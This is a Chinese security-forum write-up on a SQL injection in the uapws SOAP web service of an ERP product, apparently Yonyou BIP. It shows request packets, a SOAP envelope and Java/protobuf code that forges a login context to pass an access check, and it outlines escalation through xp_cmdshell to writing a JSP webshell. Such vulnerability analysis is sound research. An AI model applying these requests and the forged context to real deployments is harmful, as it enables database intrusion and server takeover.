问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某bip漏洞挖掘-从0day到1day的伤心之旅
挖到的时候以为是0day,结果已经有补丁了,算是1day了。。。
前言 == 挖到的时候以为是0day,结果已经有补丁了,算是1day了。。。 漏洞分析 ==== 看了一下,这个调用可以导致很多sql注入 路由 -- 首先是路由,这个类是wsdl服务的一个实现类,在`home\\hotwebs\\uapws\\WEB-INF\\web.xml` 通过**getSoapUITemplate**这个接口断点调试可以得到4个wsdl服务类,当然不止这一个接口可以获取,数据包如下 ```java GET /uapws/getServices HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=B6D33AE8467D955250F081AB3A5DEA7C; JSESSIONID=6BB3E390D6AB2A6B190890A50DFF4E49 Upgrade-Insecure-Requests: 1 ``` 我这儿通过其它获取的  跟进到下面位置拿到四个类,这四个类就是可以利用的wsdl服务  这里可以利用的服务为`nc.itf.tb.oba.INtbOBAWebService` ,利用下面请求方式可以进入该实现类 ```java POST /uapws/service/nc.itf.tb.oba.INtbOBAWebService HTTP/1.1 Host: xxxxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=B6D33AE8467D955250F081AB3A5DEA7C; JSESSIONID=6BB3E390D6AB2A6B190890A50DFF4E49 Upgrade-Insecure-Requests: 1 Content-Type: text/xml; ```  跟进`dispatchInvoke` 方法  继续跟进`reflectInvoke`  这里`executerName` 不能为null,所以得传个值,具体怎么传看wsdl的数据构造格式,这里具体应该是soap的格式,我是直接问的AI这样更快。。。拿到值后会和`nc.impl.tb.oba.wsexe.` 拼接后面反射这个类,说明`nc.impl.tb.oba.wsexe.` 这个就是个包名,直接搜索一下  很多类,先随便选一个看看后续流程  这里只要在这个包下就可以过这些if,然后进入到`exeWithDatasource` 方法  这里就是后续调用上面选中类中的`execute` 方法 漏洞 -- 存在漏洞的类方法是`setInvocationInfo` 方法,但是这里先不跟这个方法,因为要进入这个方法有个if需要过即 ```java if (this.loginContext != null && this.loginContext.getAccountName() != null && this.loginContext.getAccountName().length() != 0) ``` 这里前面两个都好搞,交给AI就能过,但是最后一个拷打了很久的AI都没搞出来,不得不仔细分析了 这个值是由下面这段代码解析产生的 ```java PBLoginContext.parseFrom(Base64.decode(this.context)) ``` 传参如下 ```java <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://oba.tb.itf.nc/INtbOBAWebService"> <soapenv:Body> <ns:invokeService> <string>AnalysisDataQueryWsExecuter</string> <string1>CgkAdGVzdDAwMQBIAQ==</string1> <stringarrayItem>cv</stringarrayItem> <stringarrayItem>flag.txt</stringarrayItem> <stringarrayItem>Root</stringarrayItem> <string3>myContent</string3> </ns:invokeService> </soapenv:Body> </soapenv:Envelope> ``` 看看这个函数具体解析流程,首先base64解码就不用看了,直接跟进`parseFrom` ,一直到下面这里  发现是由`parsePartialFrom` 处理,继续跟进该函数  跟进`mergeFrom` 即为具体的解析流程,很复杂的一流程,拷打AI是拷打不出来的  其实根据报错可以发现是**protobuf反序列化**,这个是由Google开发的一个序列化格式,参考文章[java中使用protobuf序列化(反序列化)\_java使用proto反序列化-CSDN博客](https://blog.csdn.net/lan_liang/article/details/6632127) 既然是反序列化流程那么我直接构造好数据了然后再利用这个库去序列化不就好了,拷打AI给我生成的proto文件如下 ```java syntax = "proto2"; package com.example.chain.ProtobufTest.TbMessagesDefFrame; option java_outer_classname = "ProtoBufferPractice"; message PBLoginInfo { optional bytes userID = 1; optional bytes userCode = 2; optional bytes userName = 3; optional bytes password = 4; optional bytes ip = 5; optional bytes port = 6; optional bytes pkOrg = 7; optional bytes codeOrg = 8; optional bytes nameOrg = 9; optional bytes accountName = 10; optional bytes pkGroup = 11; optional bytes codeGroup = 12; optional bytes nameGroup = 13; optional int32 loginStatus = 14; optional bytes loginDescript = 15; repeated PBGroup sharedGroup = 16; optional PBGroup selectGroup = 17; repeated PBFuncNode avaFuncNodes = 18; optional PBFuncNode selectBusiSys = 19; optional bytes sessionID = 20; optional bytes clientHost = 21; optional bytes language = 22; optional int64 sessionCheckInterval = 23; } message PBGroup { } message PBFuncNode { } ``` 再利用该文件生成`ProtoBufferPractice` 类即可,我这里生成如下  还是挺多代码的,然后上面是`this.loginContext.getAccountName().length()` 这个过不了if,因为没值,所以给它赋值,然后序列化即可 ```java package com.example.chain.ProtobufTest; import com.google.protobuf.ByteString; import java.util.Base64; public class MakeTest { public static void main(String[] args) { com.example.chain.ProtobufTest.TbMessagesDefFrame.ProtoBufferPractice.PBLoginInfo info = com.example.chain.ProtobufTest.TbMessagesDefFrame.ProtoBufferPractice.PBLoginInfo.newBuilder() .setUserID(ByteString.copyFromUtf8("u001")) .setUserName(ByteString.copyFromUtf8("管理员")) .setAccountName(ByteString.copyFromUtf8("bip")) .setLanguage(ByteString.copyFromUtf8("zh_CN")) .build(); byte[] data = info.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(data)); } } ``` 然后将生成的base64填入对应位置即可过if,然后就是漏洞的发现过程了,这里其实本来是想解决报错去利用另外一个洞的,也是偶然发现了,跟进`setInvocationInfo` 方法  跟进`getUser`  可以看到这里把user拼接进了语句中,当然为了一探究竟,继续跟进到底层  成功执行sql语句 漏洞复现 ==== 这里就不给完整数据包了,其实上面给的也差不多了  这里唯一的点就是`AccountName` 的值要为数据源名称,不然应该会报错走不到下面这一步 后利用 === 后续利用提一嘴吧,可以开启xp\_cmdshell的情况下可通过另外一个文件读取接口使其报错拿到绝对路径,然后写入jsp即可 最后 == **本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途,否则后果自行承担!**
发表于 2025-10-09 09:00:00
阅读 ( 598 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Clown
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!